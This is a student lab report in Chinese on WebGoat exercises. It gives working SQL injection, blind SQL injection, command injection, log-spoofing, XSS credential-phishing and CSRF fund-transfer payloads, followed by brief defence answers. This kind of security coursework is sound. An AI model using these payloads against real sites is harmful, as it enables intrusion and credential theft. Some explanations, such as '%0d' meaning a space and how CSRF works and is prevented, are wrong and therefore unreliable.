2019-2020-2 20175216 《网络对抗技术》Exp9 Web安全基础
实验准备
安装并启用webgoat
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。
-
下载webgoat:网站WebGoat 7.0.1,下载
webgoat-container-7.0.1-war-exec.jar
,然后输入java -jar webgoat-container-7.0.1-war-exec.jar
开启WebGoat
-
运行一段时间之后命令行出现Starting ProtocolHandler证明开启成功
-
浏览器打开WebGoat,在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面,直接用默认用户名密码登录即可;
-
登陆之后发现左侧只有一栏,通过上网查询和查看其他同学博客,是JDK的问题,下载JDK1.8版本,安装之后重接进行上述步骤
实验步骤
sql注入攻击
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问[数据库](http://lib.csdn.net/base/mysql "MySQL知识库")时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库
Command Injection
Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。在命令注入的漏洞中,最为常见的是PHP的命令注入。PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施下一步渗透攻击。
- 原理:在正常的参数提交过程中,添加恶意的代码,能够达到攻击的目的。
- 目标:能够在目标主机上执行任何系统命令
- 在左侧菜单栏中选择
Injection Flaws->Command Injection
,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加"& netstat -an & ipconfig"
- 点击
view
,查看执行指令后的网络端口使用情况和IP地址
Numeric SQL Injection
- 原理:通过选择不同地点,可以选择查看相应城市的信息。每选择一个城市,就会把该城市对应的station字段填入
SELECT * FROM weather_data WHERE station = ?
这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上。 - 右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,选中的城市编号Value
值中添加or 1=1
- 点击
Go!
显示所有天气数据
Log Spoofing
- 日志欺骗就是通过添加假的日志文件以实现登录,在
User Name
输入5216%0d%0aLogin Succeeded for username: admin
,%0d
表示空格,%0a
表示换行;接下来点击登录会显示两行信息,第二行显示admin
登陆成功,证明登陆成功
LAB: SQL Injection
Stage 1: String SQL Injection
- 右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度限制改为100
- 以用户
Neville(admin)
登录,输入密码hello' or '1' = '1
Stage 3: Numeric SQL Injection
- 原理:通过注入数字型数据,绕过认证,因此可以实现通过普通员工的账户,查看到BOSS的用户信息。
- 使用用户名
Larry
,密码larry
点击login
登录,点击ViewProfile
查看用户信息
- 老板工资是最高的,将员工ID的
value
改成101 or 1=1 order by salary desc
,老板的信息就可以被查看到。
String SQL Injection
-
原理:基于以下查询语句构造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
-
目的:尝试通过 SQL 注入将所有信用卡信息显示出来。
-
只能查询到用户名
Smith
对应的信用卡账号
-
输入查询的用户名
Smith' or 1=1--
(Smith 和1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的所有数据),这样可以得到所有的信用卡账号
Blind Numeric SQL Injection
-
原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
-
目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到
pins
表中cc_number
字段值为1111222233334444
的记录中pin
字段的数值。pin
字段类型为int
,整型。输入找到的数值并提交,通过该题目。 -
输入查询语句
101 AND 1=1
,发现页面返回帐号有效
-
输入查询语句
101 AND 1=2
,发现页面返回帐号无效
-
针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
,提示Invalid account number
表示PIN<5000
,使用二分法,最终得出pin
的值为2364
Blind String SQL Injection
- 原理:与
Blind Numeric SQL Injection
原理类似,pin字段类型为varchar
- 查询语句类似上一节:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );
该语句使用了SUBSTRING
方法,取得PIN
字段数值的第一个字母SUBSTRING
语法为SUBSTRING(STRING,START,LENGTH)
显示Invalid account number
表示其PIN字段首字母≥H - 依次判断其他字符,最后得出PIN字段的值为
Jill
XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容
XSS钓鱼(Phishing with XSS)
- 原理: 当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容,但被攻击方很难发现该内容是否存在威胁。
- 目标: 创建一个
form
,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat,将这段代码放入search
框中
//脚本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 如果在登陆框中输入自己的用户名和密码,点击登录,用户名和密码被窃取,会显示在页面上。
存储型XSS攻击(Stored XSS Attacks)
- 原理: 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
- 目标: 写入非法的留言消息,可以导致其他用户访问时载入非预期的页面或内容
- 在
title
中输入任意字符,留言板中输入<script>alert("I am 20175216zxy. You've been attacked!!!");</script>
,点击生成的message
,出现提示。
反射型XSS攻击(Reflected XSS Attacks)
- 原理: 在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
- 目标: 使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
- 在
Enter your three digit access code
框中输入<script>alert("You've been attacked!!! I'm 20175216zxy");</script>
CSRF攻击
跨站请求伪造(Cross Site Request Forgery (CSRF))
- 原理: 跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
- 目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
- 查看页面右侧Parameters中的src和menu值,分别为532和900
绕过CSRF确认(CSRF Prompt By‐Pass)
- 原理: 跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
- 目标: 与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为
attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。 - 查看页面右侧的
scr
和menu
值分别为316和900,titile
框中输入学号,message
框中输入代码:
<iframe src="attack?Screen=499&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=499&menu=900&transferFunds=CONFIRM"> </iframe>
实验总结
基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:
通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。- 防御办法:
可以在后台控制输入的长度或者禁止用户输入一些特定的特殊符号,例如 -- 、' 等。
可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
(2)XSS攻击的原理,如何防御
- 原理:
攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。- 防御办法:
用户提高防范意识,不要轻易输入个人信息,如用户名密码。
在做网站时在输入到输出的过程中进行过滤、转义,进行HTML属性过滤,一旦用户输入的语句中含有javascript,jscript,vbscript,都用空白代替。还要过滤特殊字符:&、回车和空格,对一些会造成
(3)CSRF攻击原理,如何防御
- 原理:
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。- 防御办法:
在浏览器弹出是否保存密码时,选择不保存密码,这样不会产生cookie了,被外界获取的概率就会大大减小。
实验心得
本次实验主要是对sql注入和XSS攻击进行了系统的学习,实验过程相对来说比较顺利,也对这两种攻击的各种形式进行了学习,掌握的方法也更加的多样化。